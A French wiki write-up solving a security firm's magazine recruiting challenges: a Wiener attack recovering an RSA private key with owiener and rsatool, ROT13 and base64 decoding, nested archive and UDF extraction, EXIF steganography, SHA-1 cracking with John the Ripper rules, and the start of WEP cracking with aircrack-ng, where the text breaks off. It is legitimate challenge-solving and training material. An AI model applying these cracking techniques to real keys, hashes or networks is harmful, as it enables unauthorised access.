LG

Cette page est en lecture seule. Vous pouvez afficher le texte source, mais ne pourrez pas le modifier. Contactez votre administrateur si vous pensez qu'il s'agit d'une erreur.
=====Numéro 1=====
Étant abonné à la revue [[http://www.miscmag.com/|MISC (Multi-System Internet Security Cookbook)]], je suis tombé sur une publicité amusante.

{{:curiosite:challenge:nes:img_20170101_134055.jpg?600|Pub NES}}

Désolé, l'image étant l'arrière du magasine, j'ai eu beaucoup de mal à prendre une photo impeccablement droite et le QRCode n'est pas lisible.

Cependant, il est le suivant :
  Trouvez la solution du challenge QR Code NES pour nous contacter.
  étape1/4:
  6XRhcGUgMi80OgotLS0tLUJFR0lOIFBVQkxJQyBLRVktLS0tLQpNSUlCSHpBTkJna3Foa2lHOXcwQkFRRUZBQU9DQVF3QU1JSUJCd0tCZ1FDTk9nOWdlL0lGbWd5NWk5N2hmZDdxCnFKaXZZNkdDWlhXSmlGUDhBSFVLQ2owV1kwSFhyczJJbnBqSTQxV0M0RmNGc0dNTkRmOWJkTFZIcUJMWng1RlIKTHFHSmZvQmh0WUYzajJpK1YzcDBuTzN3SU91ZXZlanhuSHZ5aFNoUGthSzhQcVRLdVdFcDdQWkFuQmIyVWVsaQpsdWVJUFhWeGFaN1pwcDNnQWxMMGZRS0JnSFkzM1hQZUh3WWFOWWlOVG9pR0cvUWhpMzhTZC9EOElHYTNkQmdtCk1ReTh6VndBNEJGOXJDc0ZYbThCQm1sb1hUTTdUUjhYTEUrdnlsaGhBTk9VK1MzeUx4aHVBTHEvUXQxZzZlUHEKclNlclBMbEV1U1FMOUgrWHVQb0ZJRk5NVEdyZmUzWm5ZZ2YvME9pVENCMG5ya0tBZXM2M25GSmplN3BSUDJMdgpNRll6Ci0tLS0tRU5EIFBVQkxJQyBLRVktLS0tLQotLS0tLUJFR0lOIEVOQ1JZUFRFRCBNRVNTQUdFLS0tLS0KWDlIY1RSMWVhVGpIR0lxZUVYUWJDZ2ljKytGVisxNlhuUCt1T0UyMFhTdXVTQ0pBa3pibm1LSlQ1T2d2RXBGOEtVYnFlVVNpMk04bwoxVEs2bXNLWnY5SXJpbG0wd2YrSUcwYmlIeVBDUDBpaGdHL3p4d2NjUEdDVWczYjdhMzF4dExta2I5NkpEaTR4YUdCTjYzZHF6WTZpCkFTYVVQZnNqUnJsRXhzLzlNRFk9Ci0tLS0tRU5EIEVOQ1JZUFRFRCBNRVNTQUdFLS0tLS0=

Là, il s'agit d'un simple encodage en base 64 avec un encodage interne de type Windows-1252. [[https://www.base64decode.org/|Base64 Decode]] s'en occupe tout seul.

J'avoue que j'ai été franchement déçu par cette étape très simple mais c'était juste un simple avant goût pour la suite.

  étape 2/4:
  -----BEGIN PUBLIC KEY-----
  MIIBHzANBgkqhkiG9w0BAQEFAAOCAQwAMIIBBwKBgQCNOg9ge/IFmgy5i97hfd7q
  qJivY6GCZXWJiFP8AHUKCj0WY0HXrs2InpjI41WC4FcFsGMNDf9bdLVHqBLZx5FR
  LqGJfoBhtYF3j2i+V3p0nO3wIOuevejxnHvyhShPkaK8PqTKuWEp7PZAnBb2Ueli
  lueIPXVxaZ7Zpp3gAlL0fQKBgHY33XPeHwYaNYiNToiGG/Qhi38Sd/D8IGa3dBgm
  MQy8zVwA4BF9rCsFXm8BBmloXTM7TR8XLE+vylhhANOU+S3yLxhuALq/Qt1g6ePq
  rSerPLlEuSQL9H+XuPoFIFNMTGrfe3ZnYgf/0OiTCB0nrkKAes63nFJje7pRP2Lv
  MFYz
  -----END PUBLIC KEY-----
  -----BEGIN ENCRYPTED MESSAGE-----
  X9HcTR1eaTjHGIqeEXQbCgic++FV+16XnP+uOE20XSuuSCJAkzbnmKJT5OgvEpF8KUbqeUSi2M8o
  1TK6msKZv9Irilm0wf+IG0biHyPCP0ihgG/zxwccPGCUg3b7a31xtLmkb96JDi4xaGBN63dqzY6i
  ASaUPfsjRrlExs/9MDY=
  -----END ENCRYPTED MESSAGE-----

Et là, c'est direct dans ma face pour souligner [[http://www.knarfworld.net|ma médiocrité]].

''BEGIN PUBLIC KEY'' est la définition d'une clé public selon l'algorithme ''X.509''.

J'ai vaguement pu m'amuser avec via la commande :
<code bash>
> ssh-keygen -i -m PKCS8 -f key.asc
ssh-rsa AAAAB3NzaC1yc2EAAACAdjfdc94fBho1iI1OiIYb9CGLfxJ38PwgZrd0GCYxDLzNXADgEX2sKwVebwEGaWhdMztNHxcsT6/KWGEA05T5LfIvGG4Aur9C3WDp4+qtJ6s8uUS5JAv0f5e4+gUgU0xMat97dmdiB//Q6JMIHSeuQoB6zrecUmN7ulE/Yu8wVjMAAACBAI06D2B78gWaDLmL3uF93uqomK9joYJldYmIU/wAdQoKPRZjQdeuzYiemMjjVYLgVwWwYw0N/1t0tUeoEtnHkVEuoYl+gGG1gXePaL5XenSc7fAg65696PGce/KFKE+Rorw+pMq5YSns9kCcFvZR6WKW54g9dXFpntmmneACUvR9
</code>

On voit donc que c'est du ''RSA''

On cherche donc à afficher le module et l'exposant de la clé
<code bash>
> openssl rsa -pubin -text -noout -modulus < key.asc
Public-Key: (1024 bit)
Modulus:
    00:8d:3a:0f:60:7b:f2:05:9a:0c:b9:8b:de:e1:7d:
    de:ea:a8:98:af:63:a1:82:65:75:89:88:53:fc:00:
    75:0a:0a:3d:16:63:41:d7:ae:cd:88:9e:98:c8:e3:
    55:82:e0:57:05:b0:63:0d:0d:ff:5b:74:b5:47:a8:
    12:d9:c7:91:51:2e:a1:89:7e:80:61:b5:81:77:8f:
    68:be:57:7a:74:9c:ed:f0:20:eb:9e:bd:e8:f1:9c:
    7b:f2:85:28:4f:91:a2:bc:3e:a4:ca:b9:61:29:ec:
    f6:40:9c:16:f6:51:e9:62:96:e7:88:3d:75:71:69:
    9e:d9:a6:9d:e0:02:52:f4:7d
Exponent:
    76:37:dd:73:de:1f:06:1a:35:88:8d:4e:88:86:1b:
    f4:21:8b:7f:12:77:f0:fc:20:66:b7:74:18:26:31:
    0c:bc:cd:5c:00:e0:11:7d:ac:2b:05:5e:6f:01:06:
    69:68:5d:33:3b:4d:1f:17:2c:4f:af:ca:58:61:00:
    d3:94:f9:2d:f2:2f:18:6e:00:ba:bf:42:dd:60:e9:
    e3:ea:ad:27:ab:3c:b9:44:b9:24:0b:f4:7f:97:b8:
    fa:05:20:53:4c:4c:6a:df:7b:76:67:62:07:ff:d0:
    e8:93:08:1d:27:ae:42:80:7a:ce:b7:9c:52:63:7b:
    ba:51:3f:62:ef:30:56:33
Modulus=8D3A0F607BF2059A0CB98BDEE17DDEEAA898AF63A1826575898853FC00750A0A3D166341D7AECD889E98C8E35582E05705B0630D0DFF5B74B547A812D9C791512EA1897E8061B581778F68BE577A749CEDF020EB9EBDE8F19C7BF285284F91A2BC3EA4CAB96129ECF6409C16F651E96296E7883D7571699ED9A69DE00252F47D
</code>

ou
  Exponent = 7637dd73de1f061a35888d4e88861bf4218b7f1277f0fc2066b7741826310cbccd5c00e0117dac2b055e6f010669685d333b4d1f172c4fafca586100d394f92df22f186e00babf42dd60e9e3eaad27ab3cb944b9240bf47f97b8fa0520534c4c6adf7b76676207ffd0e893081d27ae42807aceb79c52637bba513f62ef305633 = 83015659230707798136988389333742389100211520860733750949581213055753176063996202794218815818517520298681322771392609387302439918107270418059701131529202200101666720350430855744685780723469668115834315629212111504894058886131770148633676379925639912106581828415670161589944531988653056863903844795474141795891
  modulus = 99172829556296843357974581513476038541946612455920286346838376671975918061293568918611368295787401208998997824607813979348067793658930092652249315132325003566305913664536862656742124106210234697356578003146705906365061336362515538197586525961873081107921002421927152657307166666898266240632540829654013113469

[[https://www.mobilefish.com/services/big_number/big_number.php|Conversion des nombres hexadécimaux en décimaux]]

Pour obtenir la clé privée, il faut décomposer le module et chercher son fameux produit ([[https://fr.wikipedia.org/wiki/Attaque_de_Wiener|Attaque de Wiener]]).

Pour résoudre cette attaque, on peut utiliser [[https://github.com/orisano/owiener|oWiener]] [[https://github.com/bansan85/owiener|Archive]]

<code bash>
curl -O https://raw.githubusercontent.com/orisano/owiener/master/owiener.py
</code>

<file python modulus.py>
import owiener

e = 83015659230707798136988389333742389100211520860733750949581213055753176063996202794218815818517520298681322771392609387302439918107270418059701131529202200101666720350430855744685780723469668115834315629212111504894058886131770148633676379925639912106581828415670161589944531988653056863903844795474141795891
n = 99172829556296843357974581513476038541946612455920286346838376671975918061293568918611368295787401208998997824607813979348067793658930092652249315132325003566305913664536862656742124106210234697356578003146705906365061336362515538197586525961873081107921002421927152657307166666898266240632540829654013113469
d = owiener.attack(e, n)

if d is None:
    print("Failed")
else:
    print("Hacked d={}".format(d))
</file>
avec ''e'' l'exposant et ''n'' le module.

Son exécution avec Python donne :
  Hacked d=11394715239750551400147406032726894583098881501560698843761325450881137048891

Et maintenant, on crée notre clé privée avec [[https://github.com/ius/rsatool|rsatool]] [[https://github.com/bansan85/rsatool|Archive]]

Et on exécute avec le ''n'' et le ''d'' précédent :
<code bash>
> python rsatool.py -d 11394715239750551400147406032726894583098881501560698843761325450881137048891 -e 83015659230707798136988389333742389100211520860733750949581213055753176063996202794218815818517520298681322771392609387302439918107270418059701131529202200101666720350430855744685780723469668115834315629212111504894058886131770148633676379925639912106581828415670161589944531988653056863903844795474141795891 -n 99172829556296843357974581513476038541946612455920286346838376671975918061293568918611368295787401208998997824607813979348067793658930092652249315132325003566305913664536862656742124106210234697356578003146705906365061336362515538197586525961873081107921002421927152657307166666898266240632540829654013113469 -o nes_privkey
Using (n, d) to initialise RSA instance

n =
8d3a0f607bf2059a0cb98bdee17ddeeaa898af63a1826575898853fc00750a0a3d166341d7aecd88
9e98c8e35582e05705b0630d0dff5b74b547a812d9c791512ea1897e8061b581778f68be577a749c
edf020eb9ebde8f19c7bf285284f91a2bc3ea4cab96129ecf6409c16f651e96296e7883d7571699e
d9a69de00252f47d

e =
7637dd73de1f061a35888d4e88861bf4218b7f1277f0fc2066b7741826310cbccd5c00e0117dac2b
055e6f010669685d333b4d1f172c4fafca586100d394f92df22f186e00babf42dd60e9e3eaad27ab
3cb944b9240bf47f97b8fa0520534c4c6adf7b76676207ffd0e893081d27ae42807aceb79c52637b
ba513f62ef305633

d =
19312e2686b1665b4be8bfa1a9daf7aeafa3f30be9e77c515d7c9a188d26fd3b

p =
92e90f85dae93da2c25ead4557e1dd7af9485c321a20d67081c3399357d160c4612a021043059bd6
ef4116b56eac9326eb534bad6a33e6a79a046f3a99428ecd

q =
f6189370867444da192309146b88ecda93293d794afebc2d4537e4d0496c03edfd8ad13ddeaef3d0
4bed8f9583dc638342a68e8443826746e58cd3adf6a19c71

Saving PEM as nes_privkey
</code>

Puis on décode le message
  openssl rsautl -decrypt -in <(base64 -d etape_2_cipher)  -inkey nes_privkey
avec etape_2_cipher un fichier qui contient
  X9HcTR1eaTjHGIqeEXQbCgic++FV+16XnP+uOE20XSuuSCJAkzbnmKJT5OgvEpF8KUbqeUSi2M8o1TK6msKZv9Irilm0wf+IG0biHyPCP0ihgG/zxwccPGCUg3b7a31xtLmkb96JDi4xaGBN63dqzY6iASaUPfsjRrlExs/9MDY=

Résultat :
  étape3/4: égncr4/4: raibvr abhf ha znvy à: punyyratr.DE-pbqr_001@arf.se

Puis avec un rotation de 13 caractères :
  égncr3/4: étape4/4: envoie nous un mail à: challenge.QR-code_001@nes.fr

Un document qui peut-être pourrait aider : [[http://www.enib.fr/~harrouet/Data/Courses/Chiffrement_Authentification.pdf|Chiffrement et authentification]], {{ :curiosite:challenge:nes:chiffrement_authentification.pdf |Archive}}

<WRAP center round info 60%>
Un énorme merci à [[https://www.notfound.ovh|notfound]] pour m'avoir donné la solution à ce challenge ma fois plutôt intéressant.
</WRAP>

=====Numéro 2=====
Ils ont recommencé ça avec le magasine de Juin 2017.

====La pub====

{{:curiosite:challenge:nes:img_20170620_231016.jpg?600|Challenge 2}}

====Le scan====

Cette fois l'image permet un scan avec un téléphone Android et l'appli (par exemple) [[https://play.google.com/store/apps/details?id=com.google.zxing.client.android|Barcode Scanner]].

  T2JhYXIgcHVuYXByICEKdWdnYzovL292Zy55bC8xcWlZRkZFCnVnZ2M6Ly9vdmcueWwvMmFqZnI5bAp1Z2djOi8vb3ZnLnlsLzE4ZXBiQlI=

====Le scan décodé====

Le résultat est (merci [[https://www.base64decode.org/|base64decode]]) :

<code>
Obaar punapr !
uggc://ovg.yl/1qiYFFE
uggc://ovg.yl/2ajfr9l
uggc://ovg.yl/18epbBR
</code>

====Le chiffre de César====

On repère facilement en première ligne les ''http:''.

Entre le ''h'' et le ''u'', il y a 13 lettres. C'est le chiffre de César qui permet un décalage en +13 ou -13 pour chiffrer / déchiffrer.

Là encore, il y a des sites internet qui le font très bien [[http://www.nymphomath.ch/crypto/cesar/index.html|Chiffre de César]] {{ :curiosite:challenge:nes:chiffre_de_cesar_2020-04-26_11_16_12_pm_.html |Archive du 2015 le 26/04/2020}}

Résultat :
<code>
Bonne chance !
http://bit.ly/1dvLSSR
http://bit.ly/2nwse9y
http://bit.ly/18rcoOE
</code>

Analyse des liens :
  - http://bit.ly/1dvLSSR => https://www.youtube.com/watch?v=kxopViU98Xo (Epic sax guy 10 hours). Je ne suis pas sûr de tenir les 10 heures ^^.
  - http://bit.ly/2nwse9y => http://pastebin.fr/49604 (C'est le lien qui nous intéresse)
  - http://bit.ly/18rcoOE => http://www.nyan.cat/ On s'amuse bien chez NES ;)

====Le challenge====
<code>
Voici le challenge NES n°2.
Bonne chance à tous. 

https://www.nes.fr/challenge/CHALL_NES2
https://www.nes.fr/challenge/CHALL_NES2.sig
https://www.nes.fr/challenge/CHALL_NES2.sha256.sum

Miroirs pour l'archive du challenge NES N°2
http://jheberg.net/captcha/chall-nes2-2/
https://mega.nz/#!0Vo3xIwS

L'adresse mail vous permettant de postuler chez NES
se cache dans la solution du challenge

   Cordialement,

NES Conseil
https://www.nes.fr

f298b804d367657136375671a46aefbebee65d652b5c2978bb50b1a89eb7ca79  CHALL_NES2 (SHA 256)

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v2.0.17 (MingW32)
Comment: Gnu Privacy Tools
Comment: Download at http://www.gnupt.de

iQEcBAABAgAGBQJY0TVBAAoJEC8gM8yxa5hMRFIH/3hjFwugcxqlwvybHVuvh8x0
fXppnF7n6/TJkl/Q1V8G0xp6e0Kwdf9/aNx4JHN+teec67Ev4XkLUgqiS71mD2Vr
rCyW1jSeiZ8ZWMemVWla6njBplZ1VQT/32e4uALdbw3667zW9YgS3UBSSQLZVisS
D8IkSynVVmQXuQlZqNDzXvV3b7krc5LUJdbKUu3am5gtRnF5YfM6BjVtMZgjVe3u
3yj6HYCyalLEByU2FtpHg01eT5aUnLGSGA/Bwn9/wwbRE+OzUxvbOSxSVAfI5Fyj
ZWPcfuTWApLdSu5eycPLIumQL/dodXD2FGiNpovl1AgWRq2SpnC0yHTQn/nuUas=
=8b9k
-----END PGP SIGNATURE-----

-----BEGIN PGP PUBLIC KEY BLOCK-----
Version: GnuPG v2.0.17 (MingW32)
Comment: Gnu Privacy Tools
Comment: Download at http://www.gnupt.de

mQENBFjP9BABCAC86m5BhFGg4Yy1Jbt/56CPI8yJ7FYxx1uAVXtXiOYzuoJM81O9
exfc/Ep+5QYggy2i7dAN5GlgHA8M2Cgz1PiPpXZLoi1GfyOVJQGbs1coT5rSmXhQ
j/xvBb8GpaegsDAl0EPa6hRpcrdFXJwwgJIeRS6nLGnoyK7aEsutf/Wfi0A5rHll
H+ZtiI1NFs0x8iIaO9/Evrlb2RtxXj6e4x3LIQF1fbR5sXaZ6wF+LFO1l5nmfXZV
JKflvDLR53/VrHYe7wwx5HqZZRyT4ttihcgcbp+NnN+c2ziDBZdZ451NWBE6HBJa
jLDDk2Wk1QIV/LWXGvA45GxJv9UJa15bDomrABEBAAG0I1FSY2hhbGxlbmdlX25l
czIgPGNoYWxsZW5nZUBuZXMuZnI+iQE4BBMBAgAiBQJYz/QQAhsDBgsJCAcDAgYV
CAIJCgsEFgIDAQIeAQIXgAAKCRAvIDPMsWuYTOucB/9he1fmPtiOKQgfwBWfNYiy
3lkR/RUUpWHc8RIs4SCHzFNEyZZvW32Q4dfbnNER2yo1O5ORAmgIekBJ7dmuC71H
A5+3DpJqJy7dpiEMHoEQiYAd1z3rjxCnfvNFDIZpEMyfVWGiR1+2Jd4hEx9qF1c6
w+Xhr5XzbkFvUK1wNty3Eauq1GgEq/REc5tLvLckP+Bptju7k2mojx8i/K162pKo
xHRIr9g/SPdKz0SP/zxhhbIr9YOR5hqmoNrCkKSFjG+cwDKOyquVc6tBr0JfhG1C
dqCKO4qtSwLb0xFQmG2Thi483cQBWfWkQBPz91d4tmfJYVlN0jMu2MFdMTXUoSP2
uQENBFjP9BABCAC7t73ofU3uY4x5ygAXVvylbvTRJZxD8SzSjgOkecs5/Z0gaSut
vHu58E9en63LG7XeYVTJjT3odm36C336NPjexHmf+qRCApfjuFELbWMnvDyGfCr2
ULwyJugWjlNBmkFyiIaKUFhRMctIbDbVATVPq7V+tI3y0yyhuc+y8ym9FoJNOC/p
xsmT8Wd5u2whrTgqN3gesXjEgt8ey3Lqrzt4I+KPe76pNlArb+mBCsBIa0fwt9a0
OxxgElj7OOd4CRZKvpjCtADpa+g8aZz2rO9I7MCOWKhbHfiIGWeD6P51TmzVqEXh
QzH1TlFnotZWM2jUMgcxqY2GjjLPx35o29Z/ABEBAAGJAR8EGAECAAkFAljP9BAC
GwwACgkQLyAzzLFrmEzomAf+Ih6SawVkgb5Y+WmauvcCg950tKpqraRiMVrmr0fm
E+hzxYmLY8joYj1k/7UmtxVl2UeaiH8ztfp7RrQyUKcsZmDpzp4j6mikA0PQOVKk
hIAe2QxhGusqLVqH3h2HUO9JXG7BvYEKOur7PGJlwDIe1TuAQlURdgFLBQHuHxIl
fEa61GP4JmEJiH6HKe5E3znw2s2xxhELJSgJUMsavUK7u61Ab+Yx3lARi9UYw33W
wRhzPyNSzG/x+j6upaG5W1nWaosYCGlblWZ9OGm8t1FGsTjnpAD2a/3xHJ8xvL6U
+Qt0wk7HmnF+amYHgS/Udws5jhscj67ozt3etFRehm8fDw==
=Q4EP
-----END PGP PUBLIC KEY BLOCK-----
</code>

====Les archives====
{{ :curiosite:challenge:nes:chall_nes2.zip |Archive du challenge}}

====Analyse récursive====
Un ''sha256sum -c CHALL_NES2.sha256.sum'' permet de vérifier que la signature est bonne.
  CHALL_NES2: Réussi

Le fichier fournit est une archive qui contient une archive qui contient une archive qui ….
  file CHALL_NES2
  CHALL_NES2: Zip archive data, at least v1.0 to extract
  unzip CHALL_NES2
  extracting: CHALL_NES2

  file CHALL_NES2
  CHALL_NES2: XZ compressed data
  mv CHALL_NES2 CHALL_NES2.xz
  xz -d CHALL_NES2.xz

  file CHALL_NES2
  CHALL_NES2: Microsoft Cabinet archive data, 1131532 bytes, 1 file
  mv CHALL_NES2 CHALL_NES2.cab
  cabextract CHALL_NES2.cab
  Extracting cabinet: CHALL_NES2.cab
    extracting CHALL_NES2
  All done, no errors.

  file CHALL_NES2
  CHALL_NES2: Zip archive data, at least v2.0 to extract
  unzip CHALL_NES2
  Archive:  CHALL_NES2
    inflating: NES_CHALL2

  file NES_CHALL2
  NES_CHALL2: gzip compressed data, last modified: Mon Mar 20 15:48:19 2017, from Unix
  mv NES_CHALL2 NES_CHALL2.tar.gz
  tar -xvzf NES_CHALL2.tar.gz

  file NES_CHALL2
  data

Il faut ici utiliser une autre technique pour extraire les premières informations utiles du fichier. ([[https://superuser.com/questions/411214/what-could-cause-the-file-command-in-linux-to-report-a-text-file-as-data|bash - What could cause the file command in Linux to report a text file as data_ - Super User]] {{ :curiosite:challenge:nes:bash_-_what_could_cause_the_file_command_in_linux_to_report_a_text_file_as_data_-_super_user_2020-04-26_11_18_59_pm_.html |Archive du 11/04/2012 le 26/04/2020}}

  head -n 1 NES_CHALL2

Résultat :
  BEA01NSR02TEA01C2� NES_CHALL220101122OSTA Compressed UnicodeOSTA Compressed Unicodek

En cherchant, je suis tombé sur la page [[http://wiki.osdev.org/UDF|UDF - OSDev Wiki]] {{ :curiosite:challenge:nes:udf_-_osdev_wiki_2020-04-26_11_20_13_pm_.html |Archive du 03/07/2014 le 26/04/2020}} qui dit que ''BEA01 : Denotes the beginning of the extended descriptor section.''

C'est donc une partition ''UDF''. Il suffit donc de la monter avec la commande ([[https://ubuntuforums.org/showthread.php?t=1581471|Mount UDF ISO]] {{ :curiosite:challenge:nes:solved_mount_udf_iso_2020-04-26_11_20_19_pm_.html |Archive du 25/09/2010 le 26/04/2020}}) :
  sudo mount -t udf -o loop,ro,unhide,uid=$(id -u) NES_CHALL2 dossier

On obtient enfin les challenges à résoudre :

  .
  ├── 01
  │   ├── john.rules
  │   ├── readme.txt
  │   ├── sniff01.pcapng.gz
  │   └── wl_fr_nes.7z
  ├── 02
  │   ├── readme.txt
  │   ├── sniff02.pcapng.gz
  │   ├── sniff02_readme.txt
  │   └── sniff03.pcapng.gz
  ├── 03
  │   ├── crack_me.exe
  │   └── readme.txt
  └── 04
      ├── arch04.7z
      ├── pub_key.asc
      └── readme.txt

{{ :curiosite:challenge:nes:challenge2.zip |Challenge décompressé}}

====Cas 1====
Commençons par ouvrir ''sniff01.pcapng.gz'' avec ''WireShark''.

{{:curiosite:challenge:nes:sniff01.pcapng.png|Wireshark cas 1}}

On voit qu'il y a l'envoi d'une image au format PNG découpé en plusieurs trames ''TCP''. Pour récupérer l'image, il faut sélectionner la dernière ligne qui contient l'image PNG. Dans ce cas, il apparait un onglet ''Reassembled TCP''. Faire un clic droit sur la ligne ''Portable Network Protocol'' et l'exporter dans un fichier.

{{:curiosite:challenge:nes:sniff01.png|Image PNG de la trame}}

{{:curiosite:challenge:nes:sniff01.pcapng-2.png|Wireshark 2 cas 1}}

En l'ouvrant avec Gimp, petits messages d'avertissement sur l'image.

{{:curiosite:challenge:nes:sniff01_gimp.png|sniff01 sous Gimp}}

On voit que l'image est composée de couleur en niveau de gris. Les 16 valeurs de gris sont : ''69 88 73 70 32 69 83 84 32 84 79 78 32 65 77 73'' soit en caractère ASCII : ''EXIF EST TON AMI''

  exiftool sniff01.png

<code>
ExifTool Version Number         : 10.55
File Name                       : img.png
Directory                       : .
File Size                       : 3.9 kB
File Modification Date/Time     : 2017:06:22 22:58:29+02:00
File Access Date/Time           : 2017:06:22 23:23:34+02:00
File Inode Change Date/Time     : 2017:06:22 22:58:29+02:00
File Permissions                : rw-r--r--
File Type                       : PNG
File Type Extension             : png
MIME Type                       : image/png
Image Width                     : 16
Image Height                    : 1
Bit Depth                       : 8
Color Type                      : RGB
Compression                     : Deflate/Inflate
Filter                          : Adaptive
Interlace                       : Noninterlaced
Exif Byte Order                 : Little-endian (Intel, II)
Image Description               : Belle image !
Make                            : CANON & NIKON
Camera Model Name               : T'es CANON alors NIKON
Artist                          : NES Conseil
Copyright                       : 2017
Date/Time Original              : 1970:01:01 00:00:00
User Comment                    : épreuve de stégano
GPS Version ID                  : 2.2.0.0
GPS Latitude Ref                : North
GPS Longitude Ref               : West
GPS Altitude Ref                : Above Sea Level
GPS Map Datum                   : WGS-84
Thumbnail Offset                : 442
Thumbnail Length                : 713
Copyright Notice                : NES Conseil
Keywords                        : {NES_challenge_token}:7114C77C4950447E9B17348B7C789F0D64142262
Source                          : https://www.nes.fr/
Pixels Per Unit X               : 39
Pixels Per Unit Y               : 39
Pixel Units                     : meters
Profile Name                    : Photoshop ICC profile
Profile CMM Type                : Lino
Profile Version                 : 2.1.0
Profile Class                   : Display Device Profile
Color Space Data                : RGB
Profile Connection Space        : XYZ
Profile Date Time               : 1998:02:09 06:49:00
Profile File Signature          : acsp
Primary Platform                : Microsoft Corporation
CMM Flags                       : Not Embedded, Independent
Device Manufacturer             : IEC
Device Model                    : sRGB
Device Attributes               : Reflective, Glossy, Positive, Color
Rendering Intent                : Media-Relative Colorimetric
Connection Space Illuminant     : 0.9642 1 0.82491
Profile Creator                 : HP
Profile ID                      : 0
Profile Copyright               : Copyright (c) 1998 Hewlett-Packard Company
Profile Description             : sRGB IEC61966-2.1
Media White Point               : 0.95045 1 1.08905
Media Black Point               : 0 0 0
Red Matrix Column               : 0.43607 0.22249 0.01392
Green Matrix Column             : 0.38515 0.71687 0.09708
Blue Matrix Column              : 0.14307 0.06061 0.7141
Device Mfg Desc                 : IEC http://www.iec.ch
Device Model Desc               : IEC 61966-2.1 Default RGB colour space - sRGB
Viewing Cond Desc               : Reference Viewing Condition in IEC61966-2.1
Viewing Cond Illuminant         : 19.6445 20.3718 16.8089
Viewing Cond Surround           : 3.92889 4.07439 3.36179
Viewing Cond Illuminant Type    : D50
Luminance                       : 76.03647 80 87.12462
Measurement Observer            : CIE 1931
Measurement Backing             : 0 0 0
Measurement Geometry            : Unknown
Measurement Flare               : 0.999%
Measurement Illuminant          : D65
Technology                      : Cathode Ray Tube Display
Red Tone Reproduction Curve     : (Binary data 2060 bytes, use -b option to extract)
Green Tone Reproduction Curve   : (Binary data 2060 bytes, use -b option to extract)
Blue Tone Reproduction Curve    : (Binary data 2060 bytes, use -b option to extract)
White Point X                   : 0.31269
White Point Y                   : 0.32899
Red X                           : 0.63999
Red Y                           : 0.33001
Green X                         : 0.3
Green Y                         : 0.6
Blue X                          : 0.15
Blue Y                          : 0.05999
GPS Altitude                    : 10 m Above Sea Level
GPS Latitude                    : 39 deg 6' 37.30" N
GPS Longitude                   : 76 deg 45' 56.10" W
GPS Position                    : 39 deg 6' 37.30" N, 76 deg 45' 56.10" W
Image Size                      : 16x1
Megapixels                      : 0.000016
Thumbnail Image                 : (Binary data 713 bytes, use -b option to extract)
</code>

Qu'est-ce qu'on y voit ?

Une blague potache
  Image Description               : Belle image !
  Make                            : CANON & NIKON
  Camera Model Name               : T'es CANON alors NIKON

L'autre de l'image et pourquoi
  Artist                          : NES Conseil
  User Comment                    : épreuve de stégano

La clé à analyser
  Copyright Notice                : NES Conseil
  Keywords                        : {NES_challenge_token}:7114C77C4950447E9B17348B7C789F0D64142262
  Source                          : https://www.nes.fr/

Des coordonnées GPS
  GPS Altitude                    : 10 m Above Sea Level
  GPS Latitude                    : 39 deg 6' 37.30" N
  GPS Longitude                   : 76 deg 45' 56.10" W
  GPS Position                    : 39 deg 6' 37.30" N, 76 deg 45' 56.10" W
[[https://www.google.com/maps/@39.1134309,-77.0290406|Google Maps]]. J'avoue ne pas avoir trouvé la référence.

La clé correspond à un hachage. Le mot de passe est dans l'archive ''wl_fr_nes.7z'' avec une modification à appliquer conformément à la règle de ''JohnTheRipper'' :
  >12 <13 lcse3sE3sé3sè3

Ce qui signifie :
Un mot d'au moins 12 caractères et d'au maximum 13 caractères. ''l'' signifie ''convert to lowercase'', ''c'' : ''capitalize'', ''se3'' : remplace les e par des 3, ''sE3sé3sè3'' : remplace les E, é et è par des 3 ([[http://www.openwall.com/john/doc/RULES.shtml|John the Ripper - wordlist rules syntax]] {{ :curiosite:challenge:nes:john_the_ripper_-_wordlist_rules_syntax_2020-04-26_11_22_31_pm_.html |Archive du 14/05/2017 le 26/04/2020}}).

Copier la règle dans le fichier ''/etc/john/john.conf''.

Copier le hash (''7114C77C4950447E9B17348B7C789F0D64142262'') dans le fichier ''hash''.

Et lancer la commande :
  sudo bash -c "cat john.rules  >> /etc/john/john.conf"
  /usr/sbin/john -w=wl_fr.txt --rules=NesSpecialRules_french hash
  Warning: detected hash type "raw-sha1", but the string is also recognized as "raw-sha1-linkedin"
  Use the "--format=raw-sha1-linkedin" option to force loading these as that type instead
  Warning: detected hash type "raw-sha1", but the string is also recognized as "raw-sha"
  Use the "--format=raw-sha" option to force loading these as that type instead
  Warning: detected hash type "raw-sha1", but the string is also recognized as "raw-sha1-ng"
  Use the "--format=raw-sha1-ng" option to force loading these as that type instead
  Warning: detected hash type "raw-sha1", but the string is also recognized as "raw-sha1-opencl"
  Use the "--format=raw-sha1-opencl" option to force loading these as that type instead
  Loaded 1 password hash (Raw SHA-1 [128/128 AVX intrinsics 4x])
  Invalid rule in /etc/john/john.conf at line 1620: Unallowed command

Là, j'ai pas vraiment trouvé. En fait, c'est à cause du fait que > et < marchent avec ma version qu'avec un chiffre et pas un nombre. J'ai remplacé ''>12 <13'' par ''>9'' et j'ai utilisé le format  ''raw-sha1-opencl'' car j'ai une bonne carte graphique.

  /usr/sbin/john -w=wl_fr.txt --format=raw-sha1-opencl --rules=NesSpecialRules_french hash
  OpenCL platform 0: NVIDIA CUDA, 1 device(s).
  Using device 0: GeForce GTX 660 Ti
  Local work size (LWS) 64, Global work size (GWS) 2097152
  Loaded 1 password hash (Raw SHA-1 [OpenCL (inefficient, development use only)])
  Cyb3rs3curit3    (?)
  guesses: 1  time: 0:00:00:01 DONE (Fri Jun 23 00:09:58 2017)  c/s: 189721  trying: Abaissabl3 - Zymotiqu3s
  Use the "--show" option to display all of the cracked passwords reliably

Le mot de passe est donc ''Cyb3rs3curit3''.

====Cas 2====
===Sniff02===
Là, l'objectif est de cracker une clé WEP.

Il faut commencer à avoir un fichier au format ''pcap''. Ouvrir le fichier ''sniff02.pcapng'' avec Wireshark et l'enregistrer au format ''pcap''.

Le ''bssid'' (''90:F6:52:7F:A5:CD'') se lit dans les données ''IEEE'', ''Destination address'' :

{{:curiosite:challenge:nes:sniff02-1.png|BSSID depuis Wireshark}}

J'ai alors tenté 5 façons différentes :

  * La méthode classique ([[http://torustech.blogspot.com/2012/06/wep-and-wpa-cracking-made-easy.html|Toru's Tech_ WEP and WPA Cracking made easy]] {{ :curiosite:challenge:nes:toru_s_tech_wep_and_wpa_cracking_made_easy_2020-04-28_10_30_05_pm_.html |Archive du 02/06/2012 le 28/04/2020}}

  aircrack-ng -b 90:F6:52:7F:A5:CD sniff02.pcap

  Failed. Next try with 5000 IVs.

